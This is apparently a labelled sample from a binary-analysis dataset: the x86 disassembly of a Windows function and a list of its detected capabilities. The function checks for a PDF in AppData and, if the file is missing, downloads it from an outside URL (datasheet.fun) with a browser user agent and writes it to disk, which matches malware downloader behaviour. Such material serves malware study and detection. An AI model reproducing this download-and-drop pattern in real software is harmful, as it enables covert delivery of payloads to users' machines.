Function at 0x1000630e
Capabilities:
Check if file exists
Create http request
Download and write a file
Get common file path
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push 0x208
call fcn.1001bd7c
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
push 0
push 0x23
push dword [ebp - 4]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push dword [ebp - 4]
push 0x10041190
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str._ts.dat
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x20
push 3
push 0
push 0
push connect
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x10006398
push 0
lea eax, [ebp - 0x18]
push eax
push 8
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006542
xor ecx, ecx
call fcn.10003fec
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x100063e4
push 0
lea eax, [ebp - 0x18]
push eax
push 8
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
push 0
push 0x23
push dword [ebp - 4]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push dword [ebp - 4]
push 0x10041190
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str._avon_4_2022.pdf
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10006542
push 0
push 0
push 0
push 0
push str.Mozilla_5.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000644e
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
jmp 0x10006548
push 0x104
push 0
push 0x10041088
call fcn.1001db00
add esp, 0xc
push dword [ebp + 8]
push str.http:__datasheet.fun_manual_avon_4_2022.pdf__.8x
push 0x10041088
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x84000000
push 0
push 0
push 0x10041088
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x100064a5
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
jmp 0x10006548
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100064ce
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
jmp 0x10006548
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
push 0x1000
push 0
push dword [ebp - 0xc]
call fcn.1001db00
add esp, 0xc
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x1000
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov esp, ebp
pop ebp
ret